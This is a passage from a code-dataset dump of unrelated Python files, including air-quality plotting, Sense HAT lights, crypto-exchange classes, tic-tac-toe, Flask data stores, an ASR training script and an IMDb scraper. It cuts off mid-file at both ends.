ForM=='Mobile':\n percent=0.85\n else:\n percent=0.85\n imgfile=files[m].replace(rootdir,pic_path) #create the image file name \n picture_path,fname=os.path.split(imgfile) # get the path of imge need to store\n \n pic_name=plot_aq(files[m],picture_path,allfileimg,percent=percent) # plot graph\n if pic_name=='':\n print(pic_name)\n continue\n\n if pic_name!='few data': \n continue\n\n\n\ndef main():\n #####################\n #Automatically set the file path according to the location of the installation package\n #get the path of file\n #set path\n ddir=os.path.dirname(os.path.abspath(__file__))\n dictionarypath=ddir[::-1].replace('py'[::-1],'dictionary'[::-1],1)[::-1]\n parameterpath=ddir[::-1].replace('py'[::-1],'parameter'[::-1],1)[::-1]\n Rawf_path=ddir[::-1].replace('py'[::-1],'aq/download'[::-1],1)[::-1]\n pic_path=ddir[::-1].replace('py'[::-1],'aq/aqu_pic'[::-1],1)[::-1]\n htmlpath=ddir[::-1].replace('py'[::-1],'html'[::-1],1)[::-1]\n #HARDCODES\n telemetrystatus_file=os.path.join(parameterpath,'telemetry_status.csv')\n dictionaryfile=os.path.join(dictionarypath,'dictionary.json') # dictionary with endtime,doppio,gomofs,fvcom where each model has vesselname,lat,lon,time,temp\n print ('rawf_path'+Rawf_path)\n ##############################\n files=download_raw_file(ftppath='/Raw_Data/checked/',localpath=Rawf_path)# UPDATE THE RAW csv FILE\n starttime=datetime.datetime.now()-datetime.timedelta(days=30)\n endtime=datetime.datetime.now()\n telemetrystatus_df=rf.read_telemetrystatus(path_name=telemetrystatus_file)\n emolt='http://www.nefsc.noaa.gov/drifter/emolt.dat' # this is the output of combining getap2s.py and getap3.py\n print('get emolt df')\n emolt_df=rf.screen_emolt(start_time=starttime,end_time=endtime,path=emolt)#get emolt data \n# #run function \n print('make png')\n make_png(files,pic_path=pic_path,rootdir=Rawf_path,telemetry_status_df=telemetrystatus_df)# make time series image\n print('upload png file')\n up.sd2drf(local_dir=pic_path,remote_dir='/lei_aq_main/all_pic',filetype='png') #upload the picture to the studentdrifter\n print('make html')\n# #create the dictionary\n cmd.update_dictionary(telemetrystatus_file,starttime,endtime,dictionaryfile) #that is a function use to update the dictionary\n make_html(raw_path=Rawf_path,telemetrystatus_file=telemetrystatus_file,pic_path=pic_path,dictionary=dictionaryfile,df=emolt_df,htmlpath=htmlpath) #make the html\n print('upload html')\n up.sd2drf_update(local_dir=htmlpath,remote_dir='/lei_aq_main/html')\n ##############################\nif __name__=='__main__':\n main()\n","sub_path":"aq_main_version2.py","file_name":"aq_main_version2.py","file_ext":"py","file_size_in_byte":20947,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"394748949","text":"import time\n\nfrom sense_hat import SenseHat\nfrom util.listen import listen\n\nsmartObjectId = '3311'\n\nsense = SenseHat()\n\ndef onOffSwitch(value):\n if value.rstrip().lower() == 'true':\n sense.set_pixels(rainbow)\n else:\n sense.clear()\n\nexecutables = {\n '5850' : onOffSwitch\n}\n\ndef handleExecutable(resourceid, params):\n if executables.has_key(resourceid):\n executables[resourceid](params)\n\ndef run():\n listen(smartObjectId, handleExecutable)\n\n #keep thread alive\n while True:\n time.sleep(1)\n\nr = [255,0,0]\no = [255,127,0]\ny = [255,255,0]\ng = [0,255,0]\nb = [0,0,255]\ni = [75,0,130]\nv = [159,0,255]\ne = [0,0,0]\n\nrainbow = [\ne,e,e,e,e,e,e,e,\ne,e,e,r,r,e,e,e,\ne,r,r,o,o,r,r,e,\nr,o,o,y,y,o,o,r,\no,y,y,g,g,y,y,o,\ny,g,g,b,b,g,g,y,\nb,b,b,i,i,b,b,b,\nb,i,i,v,v,i,i,b\n]\n","sub_path":"sensehat/smartobjects/lightcontrol/lightcontrol.py","file_name":"lightcontrol.py","file_ext":"py","file_size_in_byte":804,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"167271653","text":"# -*- coding: utf-8 -*-\r\n\r\nfrom enum import Enum\r\n\r\n\r\nclass BalanceInfo:\r\n '''\r\n 取引所の残高情報。\r\n '''\r\n def __init__(self, balance_info_dic):\r\n self.JPY = balance_info_dic[\"jpy\"]\r\n self.BTC = balance_info_dic[\"btc\"]\r\n self.ETH = balance_info_dic[\"eth\"]\r\n self.QASH = balance_info_dic[\"qash\"]\r\n\r\n def ___str___(self):\r\n return \">>>>>>>>>> BalanceInfo <<<<<<<<<<\" + \"\\n\" + \\\r\n \"JPY:\" + str(self.JPY) + \"\\n\" + \\\r\n \"BTC:\" + str(self.BTC) + \"\\n\" + \\\r\n \"ETH:\" + str(self.ETH) + \"\\n\" + \\\r\n \"QASH:\" + str(self.QASH)\r\n\r\n def print_myself(self):\r\n print(self.___str___())\r\n\r\n\r\nclass TickerInfo:\r\n def __init__(self, product_id=-1, best_sell_order=-1, best_buy_order=-1,\r\n best_sell_order_volume=-1, best_buy_order_volume=-1):\r\n '''\r\n Parameters:\r\n -----------\r\n product_id : int\r\n プロダクトID。\r\n best_sell_order : float\r\n 現在板に出ている売り注文の最安値。単位は円建てなら[円]。\r\n best_buy_order : float\r\n 現在板に出ている買い注文の最高値。単位は円建てなら[円]。\r\n best_sell_order_volume : float\r\n 現在板に出ている最安の売り注文の数量。単位は仮想通貨による。\r\n best_buy_order_volume : float\r\n 現在板に出ている最高の買い注文の数量。単位は仮想通貨による。\r\n '''\r\n self.product_id = product_id\r\n self.best_sell_order = best_sell_order\r\n self.best_buy_order = best_buy_order\r\n self.best_sell_order_volume = best_sell_order_volume\r\n self.best_buy_order_volume = best_buy_order_volume\r\n\r\n def print_myself(self):\r\n print(\">>>>>>>>>> TickerInfo <<<<<<<<<<\")\r\n print(\"product_id: \" + str(self.product_id))\r\n print(\"best_sell_order: \" +str(self.best_sell_order))\r\n print(\"best_buy_order: \" + str(self.best_buy_order))\r\n print(\"best_sell_order_volume: \" + str(self.best_sell_order_volume))\r\n print(\"best_buy_order_volume: \" + str(self.best_buy_order_volume))\r\n\r\n\r\nclass ProductId:\r\n '''\r\n 取り扱い通貨ペア一覧\r\n https://quoinexjp.zendesk.com/hc/ja/articles/360032764511-取り扱い通貨ペアの一覧\r\n\r\n ◇JPY建て\r\n BTC/JPY -> 5\r\n ETH/JPY -> 29\r\n XRP/JPY -> 83\r\n BCH/JPY -> 41\r\n QASH/JPY -> 50\r\n\r\n ◇BTC建て\r\n ETH/BTC -> 37\r\n XRP/BTC -> 111\r\n BCH/BTC -> 114\r\n\r\n ◇ETH建て\r\n QASH/ETH -> 51\r\n '''\r\n BTC_JPY = 5\r\n ETH_JPY = 29\r\n XRP_JPY = 83\r\n BCH_JPY = 41\r\n QASH_JPY = 50\r\n ETH_BTC = 37\r\n XRP_BTC = 111\r\n BCH_BTC = 114\r\n QASH_ETH = 51\r\n","sub_path":"src/common.py","file_name":"common.py","file_ext":"py","file_size_in_byte":2780,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"253495530","text":"#!/usr/bin/python3.4\nfrom random import randint, randrange, sample\nfrom glib import input_control\nfrom ai import tah_pocitace\n\ndef starter():\n \"\"\"\n starter(None) - losuje nahodne ze 3 cisel. Pokud ho uzivatel uhadne, vraci True, pokud ne, vraci False.\n \"\"\"\n random_number = randrange(1,4)\n user_choice = input_control('i', 'Počítač vylosoval náhodně číslo od 1 do 3. Když ho uhodneš, hraješ první. \\n Tvoje volba?: ', 1,3)\n if user_choice == random_number:\n print('Uhodls, začínáš!')\n return True\n else:\n print('Začíná počítač.')\n return False\n\ndef evaluate(game_table, user_char, pc_char, free_positions):\n \"\"\"\n evaluate(game_table, user_char, pc_char, free_positions)\n vyhodnocuje, zda existuje vitez. Vraci True, pokud existuje vitez(3 znaky v rade) -> vraci znak vitezneho hrace, nebo pokud uz nejsou volna pole -> vraci '!'. Jinak vraci False\n\n game_table = retezec herniho pole\n user_char = znak hrace\n pc_char = znak pocitace\n free_positions=[volna pole]\n \"\"\"\n if (user_char*3) in game_table:\n return user_char\n elif (pc_char*3) in game_table:\n return pc_char\n elif len(free_positions) < 1:\n return '!'\n else:\n return False\n\ndef player_turn(game_table, played_number, player_char, free_positions):\n \"\"\"\n player_turn(game_table, played_number, player_char, free_positions)\n Meni pismenka v hracim poli dle tahu hrace nebo pocitace turn('herni pole', cislo zvolene hracem -> int,'hracuv znak', [volna pole] )\n \"\"\"\n #vymaze z volnych poli prave zahranou pozici\n del free_positions[free_positions.index(played_number)]\n played_number = played_number + 1\n if played_number < 1:\n return player_char + game_table[0:]\n else:\n return game_table[:played_number-1] + player_char + game_table[played_number:]\n\ndef man_turn(game_table, game_table_char, user_char, free_positions):\n \"\"\"\n man_turn(game_table, game_table_char, user_char, free_positions)\n -- man_turn('hraci pole', 'znk volneho hraciho pole', 'znak hrace - cloveka', [volne pozice])\n pomoci funkce player_turn vrati hraci pole se zaznamenanym tahem lidskeho hrace\n \"\"\"\n while True:\n try:\n user_number = int(input('Hraj číslo od 20: '))-1\n except ValueError:\n print('Hraj číslo od 20, které tam ještě není: ')\n else:\n if user_number not in free_positions:\n print('Číslo je mimo zadané rozmezí nebo uz tam neco je')\n else:\n return player_turn(game_table, user_number, user_char, free_positions)\n","sub_path":"06/piskvorky/piskvorky.py","file_name":"piskvorky.py","file_ext":"py","file_size_in_byte":2651,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"283519325","text":"\"\"\"Data Management Helpers.\"\"\"\nimport os\nimport re\nfrom shutil import copy2\nfrom app.helpers.format import get_next_number, is_prompt_file, parse_prompt_id\nfrom app.helpers.format import user_dict, is_recording, serialize_user\nfrom app.helpers.format import transcript_of_recording, is_transcript_file\nfrom app.helpers.format import recorded_by_user\nfrom app.helpers.exceptions import UniqueConstraintError, StoreError\nfrom random import choice\nfrom flask import send_from_directory\n\n\nclass UserStore():\n \"\"\"User Storage and Management.\"\"\"\n\n def __init__(self, data_path):\n \"\"\"\n Load the data from the flat file.\n\n TODO:\n - Add method\n - Update method\n \"\"\"\n self.user_id_index = {}\n self.user_number_index = {}\n self.user_email_index = {}\n self.users_file_path = os.path.join(data_path, 'users.txt')\n with open(self.users_file_path, 'r') as users_file:\n for line in users_file:\n values = line.strip().split(\":\")\n (user_id, user_number, shash, rights, name, email) = values\n user = user_dict(\n user_id, user_number, shash, rights, name, email\n )\n self.user_id_index[user_id] = user\n self.user_number_index[user_number] = user\n self.user_email_index[email] = user\n\n def all(self):\n \"\"\"Retrieve all users.\"\"\"\n return list(self.user_id_index.values())\n\n def find_by_id(self, user_id):\n \"\"\"Perform a lookup by user_id.\"\"\"\n return self.user_id_index.get(user_id, None)\n\n def find_by_number(self, user_number):\n \"\"\"Perform a lookup by user_number.\"\"\"\n return self.user_number_index.get(user_number, None)\n\n def find_by_email(self, email):\n \"\"\"Perform a lookup by email address.\"\"\"\n return self.user_email_index.get(email, None)\n\n def __next_user_number(self):\n user_numbers_list = list(self.user_number_index.keys())\n latest_user_number = max(user_numbers_list)\n next_user_number = get_next_number(latest_user_number)\n padded_user_number = \"{:06d}\".format(next_user_number)\n return padded_user_number\n\n def __save_entry(self, entry):\n temp_path = 'users.tmp'\n copy2(self.users_file_path, temp_path)\n with open(temp_path, 'a') as temp_file:\n temp_file.write(entry)\n os.rename(temp_path, self.users_file_path)\n\n def add(self, user_id, rights, name, email):\n \"\"\"Insert a new user into the store.\"\"\"\n if self.find_by_id(user_id) or self.find_by_email(email):\n raise UniqueConstraintError\n next_user_number = self.__next_user_number()\n shash = \"generichash\"\n entry = serialize_user(\n user_id, next_user_number, shash, rights, name, email)\n try:\n self.__save_entry(entry)\n except (IOError, FileNotFoundError):\n raise StoreError\n user = user_dict(\n user_id, next_user_number, shash, rights, name, email\n )\n self.user_id_index[user_id] = user\n self.user_number_index[next_user_number] = user\n return user\n\n def __update_contents(self, content, entry):\n user_number = entry[1]\n pattern = '\\\\b.*?:{}.*?\\n'.format(user_number)\n updated_contents = re.sub(pattern, entry, content)\n return updated_contents\n\n def __save_content(self, content):\n temp_path = 'users.tmp'\n with open(temp_path, 'w') as temp_file:\n temp_file.write(content)\n os.rename(temp_path, self.users_file_path)\n\n def update(self, user_number, user_id, rights, name, email):\n \"\"\"Update an existing user in the store.\"\"\"\n users_content = None\n with open(self.users_file_path, 'r') as f:\n users_content = f.read()\n shash = \"generichash\"\n entry = serialize_user(\n user_id, user_number, shash, rights, name, email)\n updated_contents = self.__update_contents(users_content, entry)\n self.__save_content(updated_contents)\n user = user_dict(\n user_id, user_number, shash, rights, name, email\n )\n self.user_id_index[user_id] = user\n self.user_number_index[user_number] = user\n return user\n\n\nclass TranscriptStore():\n \"\"\"\n Transcript Storage and Management.\n\n TODO:\n - Find transcripts for prompt\n\n \"\"\"\n\n def __init__(self, data_path):\n \"\"\"Load list of transcripts into an index.\"\"\"\n self.transcripts_path = data_path\n self.transcripts = {\n file[:-4] for file in os.listdir(self.transcripts_path)\n if is_transcript_file(file)}\n\n def __new_id(self, recording_id):\n transcript_id_list = [\n transcript_id for transcript_id in self.transcripts\n if transcript_of_recording(transcript_id, recording_id)]\n\n if len(transcript_id_list) > 0:\n latest_transcript_id = max(transcript_id_list)\n next_transcript_id = get_next_number(latest_transcript_id[-3:])\n else:\n next_transcript_id = 1\n\n return next_transcript_id\n\n def __save_transcript(self, recording_id, next_transcript_id, transcript):\n transcript_file_name = '{}n{:03d}.txt'.format(recording_id,\n next_transcript_id)\n transcript_file_path = os.path.join(\n self.transcripts_path, transcript_file_name)\n with open(transcript_file_path, 'w') as f:\n f.write(transcript)\n return transcript_file_name\n\n def __add_to_history(self, user_number, recording_id, next_transcript_id):\n prompt_id, student_id = recording_id[1:].split(\"s\")\n transcript_history_file = os.path.join(\n self.transcripts_path, 'u{}.txt'.format(user_number))\n with open(transcript_history_file, 'a') as f:\n f.write(\"{} {} {}\\n\".format(prompt_id,\n student_id, next_transcript_id))\n\n def add(self, user_number, recording_id, transcript):\n \"\"\"Add a new transcription of a recording by a user.\"\"\"\n next_transcript_id = self.__new_id(recording_id)\n transcript_file_name = self.__save_transcript(recording_id,\n next_transcript_id,\n transcript)\n self.__add_to_history(user_number, recording_id, next_transcript_id)\n self.transcripts.add(transcript_file_name[:-4])\n\n def transcribed_by_user(self, user_number):\n \"\"\"Retrieve all recordings transcribed by a given user.\"\"\"\n transcribed_recordings = set()\n user_file_path = os.path.join(\n self.transcripts_path, 'u{}.txt'.format(user_number))\n if not os.path.isfile(user_file_path):\n open(user_file_path, 'w').close()\n with open(user_file_path, 'r') as completed_transcripts_file:\n for line in completed_transcripts_file:\n fields = tuple(line.strip().split(\" \"))\n transcribed_recordings.add(\"p{}s{}\".format(*fields))\n return transcribed_recordings\n\n\nclass PromptStore():\n \"\"\"Prompt Storage and Management.\"\"\"\n\n def __init__(self, data_path):\n \"\"\"Load all prompts from disk and create an index in memory.\"\"\"\n self.prompts_path = data_path\n self.prompt_ids = {parse_prompt_id(file)\n for file in os.listdir(self.prompts_path)\n if is_prompt_file(file)}\n self.prompts = {}\n for prompt_id in self.prompt_ids:\n prompt_file = \"p{}.txt\".format(prompt_id)\n prompt_file_path = os.path.join(self.prompts_path, prompt_file)\n with open(prompt_file_path, 'r') as f:\n self.prompts[prompt_id] = f.read()\n\n def all(self):\n \"\"\"Return all prompts.\"\"\"\n return self.prompts\n\n def find_by_id(self, prompt_id):\n \"\"\"Find a given prompt by id.\"\"\"\n return self.prompts[prompt_id]\n\n def __new_id(self):\n if len(self.prompt_ids):\n latest_prompt_id = max(self.prompt_ids)\n next_prompt_id = get_next_number(latest_prompt_id)\n else:\n next_prompt_id = 1\n return next_prompt_id\n\n def __save(self, new_prompt_id, text):\n prompt_file_name = 'p{:06d}.txt'.format(new_prompt_id)\n prompt_file_path = os.path.join(self.prompts_path, prompt_file_name)\n with open(prompt_file_path, 'w') as f:\n f.write(text)\n return prompt_file_name\n\n def add(self, text):\n \"\"\"Add a new prompt.\"\"\"\n next_prompt_id = self.__new_id()\n prompt_file_name = self.__save(next_prompt_id, text)\n self.prompt_ids.add(parse_prompt_id(prompt_file_name))\n self.prompts[\"{:06d}\".format(next_prompt_id)] = text\n\n def __voiced_prompts_by_user(self, recording_store, user_number):\n return {\n parse_prompt_id(recording) for recording\n in recording_store.recordings_by_user(user_number)}\n\n def retrieve_random_unvoiced_prompt(self, recording_store, user_number):\n \"\"\"\n Retrieve a random chosen prompt which hasn't been voiced by the user.\n \"\"\"\n voiced_prompts = self.__voiced_prompts_by_user(\n recording_store, user_number)\n unvoiced_prompts = sorted(list(self.prompt_ids - voiced_prompts))\n if unvoiced_prompts:\n random_prompt = choice(unvoiced_prompts)\n return {\"prompt_id\": random_prompt,\n \"text\": self.find_by_id(random_prompt)}\n else:\n return {\"prompt_id\": -1, \"text\": \"\"}\n\n\nclass RecordingStore():\n \"\"\"Recording Storage and Management.\"\"\"\n\n def __init__(self, data_path):\n \"\"\"Load recordings to memory.\"\"\"\n self.recordings_path = data_path\n self.recordings = {\n file[:-4] for file in os.listdir(self.recordings_path)\n if is_recording(file)}\n\n def add(self, user_number, prompt_id, recording_file):\n \"\"\"Save a new recording to disk.\"\"\"\n recording_file_name = 'p{}s{}.mp3'.format(prompt_id, user_number)\n recording_file.save(\n os.path.join(self.recordings_path, recording_file_name))\n self.recordings.add(recording_file_name[:-4])\n return recording_file_name\n\n def all(self):\n \"\"\"Retrieve list of recordings.\"\"\"\n return self.recordings\n\n def exists(self, recording_id):\n \"\"\"Test if a given recording exists.\"\"\"\n return recording_id in self.recordings\n\n def recordings_by_user(self, user_number):\n \"\"\"Retrieve all recordings voiced by a user.\"\"\"\n return {recording for recording in self.recordings\n if recorded_by_user(recording, user_number)}\n\n def retrieve_random_untranscribed_recording(self, transcript_store, user_number):\n \"\"\"\n Retrieve a random recording whose prompt hasn't\n been transcribed by the user.\n \"\"\"\n completed_recordings = transcript_store.transcribed_by_user(\n user_number)\n completed_prompts = {parse_prompt_id(recording)\n for recording in completed_recordings}\n prompts_with_recordings = {parse_prompt_id(recording)\n for recording in self.recordings}\n untranscribed_prompts = list(\n prompts_with_recordings - completed_prompts)\n if untranscribed_prompts:\n random_prompt = choice(untranscribed_prompts)\n recordings_of_prompt = [\n recording for recording in self.recordings\n if parse_prompt_id(recording) == random_prompt]\n random_recording = choice(recordings_of_prompt)\n return random_recording\n else:\n return -1\n\n def download_recording(self, recording_id):\n \"\"\"Retrieve a recording from disk.\"\"\"\n return send_from_directory(\n os.path.join('..', self.recordings_path),\n \"{}.mp3\".format(recording_id))\n","sub_path":"app/helpers/data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":12121,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"430804870","text":"# Flowers.py - This program reads names of flowers and whether they are grown in shade or sun from an input \n# file and prints the information to the user's screen. \n# Input: flowers.dat.\n# Output: Names of flowers and the words sun or shade.\n\n# Open input file\nflower = open(\"flowers.dat\", \"r\")\nflowerData = None\ngrowData = None\n\n# Write while loop here\nwhile True:\n flowerData = flower.readline().strip()\n growData = flower.readline().strip()\n if (flowerData == \"\"):\n break\n \n # Print flower name using the following format\n # print(var + \" grows in the \" + var2)\n print(flowerData + \" grows in the \" + growData)","sub_path":"flowers.py","file_name":"flowers.py","file_ext":"py","file_size_in_byte":643,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"498995577","text":"import os\n\nos.environ['CUDA_VISIBLE_DEVICES'] = '2,3'\n\nimport tensorflow as tf\nimport malaya_speech\nimport malaya_speech.augmentation.waveform as augmentation\nimport malaya_speech.augmentation.spectrogram as mask_augmentation\nimport malaya_speech.train.model.alconformer as conformer\nimport malaya_speech.train.model.transducer as transducer\nimport malaya_speech.config\nimport malaya_speech.train as train\nimport json\nimport numpy as np\nimport random\nfrom glob import glob\n\nsubwords = malaya_speech.subword.load('transducer.subword')\nconfig = malaya_speech.config.conformer_base_encoder_config\n\nparameters = {\n 'optimizer_params': {'beta1': 0.9, 'beta2': 0.98, 'epsilon': 10e-9},\n 'lr_policy_params': {\n 'warmup_steps': 40000,\n 'max_lr': (0.05 / config['dmodel']),\n },\n}\n\nfeaturizer = malaya_speech.tf_featurization.STTFeaturizer(\n normalize_per_feature = True\n)\nn_mels = featurizer.num_feature_bins\n\n\ndef transformer_schedule(step, d_model, warmup_steps = 4000, max_lr = None):\n arg1 = tf.math.rsqrt(tf.cast(step, tf.float32))\n arg2 = step * (warmup_steps ** -1.5)\n arg1 = tf.cast(arg1, tf.float32)\n arg2 = tf.cast(arg2, tf.float32)\n lr = tf.math.rsqrt(tf.cast(d_model, tf.float32)) * tf.math.minimum(\n arg1, arg2\n )\n if max_lr is not None:\n max_lr = tf.cast(max_lr, tf.float32)\n return tf.math.minimum(max_lr, lr)\n return lr\n\n\ndef learning_rate_scheduler(global_step):\n\n return transformer_schedule(\n tf.cast(global_step, tf.float32),\n config['dmodel'],\n **parameters['lr_policy_params'],\n )\n\n\ndef mel_augmentation(features):\n\n features = mask_augmentation.warp_time_pil(features)\n features = mask_augmentation.mask_frequency(features, width_freq_mask = 12)\n features = mask_augmentation.mask_time(\n features, width_time_mask = int(features.shape[0] * 0.05)\n )\n return features\n\n\ndef preprocess_inputs(example):\n s = featurizer.vectorize(example['waveforms'])\n s = tf.reshape(s, (-1, n_mels))\n s = tf.compat.v1.numpy_function(mel_augmentation, [s], tf.float32)\n mel_fbanks = tf.reshape(s, (-1, n_mels))\n length = tf.cast(tf.shape(mel_fbanks)[0], tf.int32)\n length = tf.expand_dims(length, 0)\n example['inputs'] = mel_fbanks\n example['inputs_length'] = length\n example['targets'] = tf.cast(example['targets'], tf.int32)\n example['targets_length'] = tf.expand_dims(\n tf.cast(tf.shape(example['targets'])[0], tf.int32), 0\n )\n return example\n\n\ndef parse(serialized_example):\n\n data_fields = {\n 'waveforms': tf.VarLenFeature(tf.float32),\n 'targets': tf.VarLenFeature(tf.int64),\n }\n features = tf.parse_single_example(\n serialized_example, features = data_fields\n )\n for k in features.keys():\n features[k] = features[k].values\n\n features = preprocess_inputs(features)\n\n keys = list(features.keys())\n for k in keys:\n if k not in ['inputs', 'inputs_length', 'targets', 'targets_length']:\n features.pop(k, None)\n\n return features\n\n\ndef get_dataset(\n path,\n batch_size = 16,\n shuffle_size = 20,\n thread_count = 24,\n maxlen_feature = 1800,\n):\n def get():\n files = glob(path)\n dataset = tf.data.TFRecordDataset(files)\n dataset = dataset.shuffle(shuffle_size)\n dataset = dataset.repeat()\n dataset = dataset.prefetch(tf.contrib.data.AUTOTUNE)\n dataset = dataset.map(parse, num_parallel_calls = thread_count)\n dataset = dataset.padded_batch(\n batch_size,\n padded_shapes = {\n 'inputs': tf.TensorShape([None, n_mels]),\n 'inputs_length': tf.TensorShape([None]),\n 'targets': tf.TensorShape([None]),\n 'targets_length': tf.TensorShape([None]),\n },\n padding_values = {\n 'inputs': tf.constant(0, dtype = tf.float32),\n 'inputs_length': tf.constant(0, dtype = tf.int32),\n 'targets': tf.constant(0, dtype = tf.int32),\n 'targets_length': tf.constant(0, dtype = tf.int32),\n },\n )\n return dataset\n\n return get\n\n\ndef model_fn(features, labels, mode, params):\n conformer_model = conformer.Model(\n kernel_regularizer = None, bias_regularizer = None, **config\n )\n decoder_config = malaya_speech.config.conformer_base_decoder_config\n transducer_model = transducer.rnn.Model(\n conformer_model, vocabulary_size = subwords.vocab_size, **decoder_config\n )\n targets_length = features['targets_length'][:, 0]\n v = tf.expand_dims(features['inputs'], -1)\n z = tf.zeros((tf.shape(features['targets'])[0], 1), dtype = tf.int32)\n c = tf.concat([z, features['targets']], axis = 1)\n\n logits = transducer_model([v, c, targets_length + 1], training = True)\n\n cost = transducer.loss.rnnt_loss(\n logits = logits,\n labels = features['targets'],\n label_length = targets_length,\n logit_length = features['inputs_length'][:, 0]\n // conformer_model.conv_subsampling.time_reduction_factor,\n )\n mean_error = tf.reduce_mean(cost)\n\n loss = mean_error\n\n tf.identity(loss, 'train_loss')\n\n if mode == tf.estimator.ModeKeys.TRAIN:\n train_op = train.optimizer.optimize_loss(\n loss,\n tf.train.AdamOptimizer,\n parameters['optimizer_params'],\n learning_rate_scheduler,\n summaries = ['learning_rate', 'loss_scale'],\n larc_params = parameters.get('larc_params', None),\n loss_scaling = parameters.get('loss_scaling', 1.0),\n loss_scaling_params = parameters.get('loss_scaling_params', None),\n )\n estimator_spec = tf.estimator.EstimatorSpec(\n mode = mode, loss = loss, train_op = train_op\n )\n\n elif mode == tf.estimator.ModeKeys.EVAL:\n\n estimator_spec = tf.estimator.EstimatorSpec(\n mode = tf.estimator.ModeKeys.EVAL, loss = loss\n )\n\n return estimator_spec\n\n\ntrain_hooks = [tf.train.LoggingTensorHook(['train_loss'], every_n_iter = 1)]\ntrain_dataset = get_dataset('bahasa-asr/data/bahasa-asr-train-*')\ndev_dataset = get_dataset('bahasa-asr-test/data/bahasa-asr-dev-*')\n\ntrain.run_training(\n train_fn = train_dataset,\n model_fn = model_fn,\n model_dir = 'asr-base-alconformer-transducer',\n num_gpus = 2,\n log_step = 1,\n save_checkpoint_step = 5000,\n max_steps = 500_000,\n eval_fn = dev_dataset,\n train_hooks = train_hooks,\n)\n","sub_path":"pretrained-model/stt/alconformer/base-alconformer.py","file_name":"base-alconformer.py","file_ext":"py","file_size_in_byte":6529,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"453049193","text":"import json\nimport os # pragma: no cover\n\n\ndef get(db_file_name=\"db.json\"): # pragma: no cover\n '''\n Get data from json file or return empty dictionary.\n '''\n try:\n with open(db_file_name, \"r\") as json_file:\n data = json.load(json_file)\n return data\n except FileNotFoundError:\n print(\"File does not exist. Creating database file.\")\n return {}\n\n\ndef set(array, db_file_name=\"db.json\"): # pragma: no cover\n '''\n Set new data to json file. Create new one if no exist.\n '''\n with open(db_file_name, \"w\") as json_file: # pragma: no cover\n return json.dump(array, json_file)\n\n\ndef delete(db_file_name=\"db.json\"): # pragma: no cover\n if os.path.isfile(db_file_name):\n os.remove(db_file_name)\n","sub_path":"Lab/db_json.py","file_name":"db_json.py","file_ext":"py","file_size_in_byte":777,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"546066189","text":"# Python 3.6.0\n\n\"\"\"\nThis code retrives data from IMDb movie page and stores them into files\n\"\"\"\n\nimport requests\nfrom bs4 import BeautifulSoup\nimport json\nimport re\nimport csv\n\nurl = \"https://www.imdb.com/title/tt7131622/\"\npage = requests.get(url)\nsoup = BeautifulSoup(page.content, 'html.parser')\n\njson_elm = soup.find('script', type='application/ld+json')\ndata = json.loads(json_elm.string)\n\nmid = soup.find('meta', property=\"pageId\")['content']\ntitle = data['name']\nrelease_date = data['datePublished']\n\nsummary_elem = soup.find('div', class_='summary_text')\nsummary = summary_elem.text.strip().replace('\\n', '') # Clean up text\nsummary = re.sub(' +', ' ', summary) # Substitute multiple whitespace with single whitespace\n\nruntime_iso = soup.find('time')['datetime']\nruntime = int(runtime_iso[2:-1]) # Runtime in minutes\n\nrating = float(data['aggregateRating']['ratingValue'])\nnum_votes = data['aggregateRating']['ratingCount']\ngenres = data['genre']\n\n# CREDITS\n\ncredits_url = \"https://www.imdb.com/title/\" + mid + \"/fullcredits\"\ncredits_page = requests.get(credits_url)\ncredits_soup = BeautifulSoup(credits_page.content, 'html.parser')\ndirectors = []\nwriters = []\nactors = []\n\ncrew_elms = credits_soup.find_all('table', class_=\"simpleTable simpleCreditsTable\")\ndirectors_table = crew_elms[0]\nwriters_table = crew_elms[1]\ncast_table = credits_soup.find('table', class_=\"cast_list\")\n\ndirectors_names_elms = directors_table.find_all('td', class_='name')\nfor elm in directors_names_elms:\n nmurl = elm.find('a')['href']\n pid = re.search(\"name/(.*)/\", nmurl).group(1)\n name = elm.find('a').text.strip()\n director = {'pid': pid, 'name': name}\n directors.append(director)\n\nwriters_elms = writers_table.find_all('tr')\nfor elm in writers_elms:\n name_elm = elm.find('td', class_='name')\n if name_elm is not None:\n nmurl = name_elm.find('a')['href']\n pid = re.search(\"name/(.*)/\", nmurl).group(1)\n name = name_elm.find('a').text.strip()\n credit_elm = elm.find('td', class_='credit')\n credit = None\n if credit_elm is not None:\n credit = credit_elm.text.strip()[1:credit_elm.text.strip().find(')')]\n writer = {'pid': pid, 'name': name, 'credit': credit}\n writers.append(writer)\n\nactors_elms = cast_table.find_all('tr')\nfor i in range(1, len(actors_elms)): # Start at 1 to skip first label element\n td_elms = actors_elms[i].find_all('td')\n try:\n name_elm = td_elms[1]\n nmurl = name_elm.find('a')['href']\n pid = re.search(\"name/(.*)/\", nmurl).group(1)\n name = name_elm.find('a').text.strip()\n character = td_elms[3].text.strip().replace('\\n', '') # Clean up text\n character = re.sub(' +', ' ', character) # Substitute multiple whitespace with single whitespace\n actor = {'pid': pid, 'name': name, 'character': character}\n actors.append(actor)\n except IndexError: # Terminate loop when encounter label\n break\n\n# Rows of csv files\nmovies_rows = [['mid', 'title', 'release_date', 'summary', 'runtime', 'rating', 'num_votes']]\nmovie_genres_rows = [['mid', 'gid']]\npeople_rows = [['pid', 'name']]\nmovie_credits_rows = [['mid', 'pid', 'jib', 'credit', 'role']]\n\nmovies_rows.append([mid, title, release_date, summary, runtime, rating, num_votes])\ngenres_dict = {'Action': 1, 'Adventure': 2, 'Animation': 3, 'Biography': 4, 'Comedy': 5, 'Crime': 6, 'Documentary': 7,\n 'Drama': 8, 'Family': 9, 'Fantasy': 10, 'Film-Noir': 11, 'Game-Show': 12, 'History': 13, 'Horror': 14,\n 'Music': 15, 'Musical': 16, 'Mystery': 17, 'News': 18, 'Reality-TV': 